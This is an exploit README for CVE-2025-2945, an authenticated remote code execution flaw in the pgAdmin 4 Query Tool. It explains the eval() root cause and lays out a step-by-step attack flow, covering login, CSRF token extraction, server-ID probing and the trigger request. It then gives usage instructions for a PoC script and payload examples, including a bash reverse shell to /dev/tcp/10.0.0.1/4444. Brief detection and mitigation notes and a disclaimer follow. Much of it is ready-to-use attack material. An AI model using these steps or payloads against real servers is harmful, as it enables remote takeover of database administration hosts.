Share
## https://sploitus.com/exploit?id=842BE6FA-683D-5A13-9ACE-9F99845F040B
# CVE-2025-2945 โ€” pgAdmin 4 Query Tool Authenticated RCE

Proof of concept for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4.

**Affected versions:** 8.10 through 9.1  
**Fixed in:** 9.2 (released April 4, 2025)  
**CVSS v3.1:** 9.9 (Critical)

---

## Overview

The pgAdmin 4 Query Tool exposes an endpoint that accepts a `query_commited` parameter and passes it directly to Python's built-in `eval()` without any sanitization. An authenticated attacker can submit arbitrary Python code through this parameter and have it executed server-side under the pgAdmin service account.

The vulnerable endpoint is:

```
POST /sqleditor/query_tool/download/
```

The `query_commited` field in the JSON body is evaluated as Python code on the server.

---

## Technical Analysis

### Root Cause

In pgAdmin 4 versions prior to 9.2, the query tool download handler calls `eval()` on user-supplied input:

```python
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
```

No input validation, sandboxing, or allowlisting is applied. Any valid Python expression executes with the privileges of the pgAdmin process.

### Exploit Flow

1. **Authenticate** โ€” POST credentials to `/authenticate/login`, obtain a session cookie and CSRF token
2. **Initialize sqleditor** โ€” POST to `/sqleditor/initialize/sqleditor////` with database credentials to establish a query tool session
3. **Discover server ID** โ€” GET `/sqleditor/get_server_connection//` iterating over IDs until one returns `data.status == true`
4. **Trigger eval** โ€” POST to `/sqleditor/query_tool/download/` with `{"query_commited": ""}`, receive a 500 response confirming execution

### CSRF Token Handling (pgAdmin 9.x)

Older pgAdmin versions embedded the CSRF token in a hidden `` field or a cookie. Version 9.x moved to a React SPA architecture where the token is embedded as JSON inside a `window.renderSecurityPage()` call on the `/login` page:

```
"csrfToken": ""
```

The token is session-scoped (Flask-WTF / itsdangerous), so the token obtained from the initial `GET /login` remains valid for the entire session and can be reused for all subsequent API calls.

### Login Endpoint Change

pgAdmin 9.x split the login route:
- `GET /login` โ€” renders the login page (contains the CSRF token)
- `POST /authenticate/login` โ€” processes credentials

Older PoCs that POST directly to `/login` will receive a 404 or 405 on 9.x instances.

---

## Requirements

- Python 3.7+
- Valid pgAdmin credentials (any authenticated user)
- Valid database credentials for a server registered in pgAdmin

```
pip install requests faker
```

---

## Usage

```
python3 poc.py \
  --rhost  \
  --username  \
  --password  \
  --db-user  \
  --db-pass  \
  --db-name  \
  --payload ""
```

### Arguments

| Argument | Description |
|---|---|
| `--rhost` | Target hostname or IP (no scheme) |
| `--rport` | Target port (default: 80) |
| `--username` | pgAdmin login email |
| `--password` | pgAdmin login password |
| `--db-user` | PostgreSQL username |
| `--db-pass` | PostgreSQL password |
| `--db-name` | Database name |
| `--payload` | Python expression to evaluate on the server |
| `--max-server-id` | Max server IDs to probe (default: 10) |

### Payload Examples

Command execution:
```
--payload "__import__('os').system('id')"
```

Reverse shell:
```
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
```

---

## Detection

- Unexpected HTTP 500 responses from `/sqleditor/query_tool/download/`
- pgAdmin process spawning child processes (shells, curl, wget)
- Outbound connections from the pgAdmin host to unknown IPs

## Mitigation

Upgrade to pgAdmin 4 version 9.2 or later.

---

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://www.tenable.com/security/research/tra-2025-2945
- https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

---

## Disclaimer

This repository is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.